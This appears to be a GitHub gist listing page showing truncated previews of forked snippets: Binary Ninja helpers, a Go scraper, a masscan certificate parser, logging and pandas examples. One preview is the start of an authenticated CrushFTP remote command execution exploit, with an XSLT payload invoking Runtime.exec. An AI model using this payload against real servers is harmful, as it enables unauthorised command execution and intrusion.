Skip to content

Instantly share code, notes, and snippets.

@atlassion
atlassion / 1_Snippet_Instructions.txt
Created December 21, 2023 13:49 — forked from psifertex/1_Snippet_Instructions.txt
my current collection of snippets
Welcome to Jordan's grab-bag of common Binary Ninja Snippets.
These snippest are meant to run with the Binary Ninja Snippets Plugin
(https://github.com/Vector35/snippets) though they can all also be pasted
directly into the python console or turned into stand-alone plugins if needed.
To install the entire collection at once, just install the Snippets plugin via
the plugin manager (CMD/CTL-SHIFT-M), confirm the Snippet Editor works
(Tool/Snippets/Snippet Editor), and unzip this bundle (Download ZIP above) into
your Snippets folder.
#!/usr/bin/env python3
"""
Author: @frycos
Authenticated Remote Command Execution in all CrushFTP versions
User account has to be admin or needs job creation permissions
Should give you a root reverse shell in most cases
Vendor website: https://crushftp.com/
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<!-- #113 Methodref: java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; -->
<!-- #119 Methodref: java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process; -->
<!-- #114 Utf8: open -a calculator -->
<!-- #115 String: touch /tmp/pwn -->
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
<!-- #132 Utf8: <init> -->
<AAA select="&lt;init&gt;"/>
@atlassion
atlassion / vineScrape.go
Created November 23, 2022 09:57 — forked from cryptix/vineScrape.go
extract a javascript object value from a html page using goquery and otto
package main
import (
"errors"
"log"
"os"
"github.com/PuerkitoBio/goquery"
"github.com/robertkrimen/otto"
)
@atlassion
atlassion / masscan-ndjson-pull-sans.sh
Created April 27, 2022 07:50 — forked from mzpqnxow/masscan-ndjson-pull-sans.sh
Parse certificate Subject Alternative Name values from masscan ndjson files using `jq`
#!/bin/bash
INFILE="$1"
jq -r 'select(.rec_type == "banner" and .data.service_name == "ssl" and ((.data.banner | contains("ALERT"))|not) ) | .data.banner|split(",")[1:][] | gsub("^\\s+|\\s+%";"")' < "${INFILE}" | sort -u
@atlassion
atlassion / logging.py
Created April 27, 2022 07:46 — forked from kingspp/logging.py
Python Comprehensive Logging using YAML Configuration
import os
import yaml
import logging.config
import logging
import coloredlogs
def setup_logging(default_path='logging.yaml', default_level=logging.INFO, env_key='LOG_CFG'):
"""
| **@author:** Prathyush SP
| Logging Setup
@atlassion
atlassion / pandas_cheat.py
Created April 27, 2022 07:46 — forked from pohzipohzi/pandas_cheat.py
Cheat sheet for the python pandas library
import numpy as np
import pandas as pd
#### creating dataframes, adding and dropping columns
df = pd.DataFrame(np.arange(1,10).reshape(3,3),['A','B','C'],['w','x','y'])
df.columns = ['W','X','Y'] # change column names
df['Z']=df['X']+df['Y'] # new column with values X+Y
df['XX']=df.apply(lambda row: row['X']*2, axis=1) # new column with values twice of column X
df['YY']=1 # new column of ones
@atlassion
atlassion / chaos.py
Created November 1, 2021 20:05 — forked from m4ll0k/chaos.py
# github.com/m4ll0k (@m4ll0k2)
'''
Steps:
0. Make dir like chaos 'mkdir chaos'
1. Download this script in choas dir 'wget https://..'
2. Now: 'python3 choas.py |sort -u > dns_wordlist.txt'
'''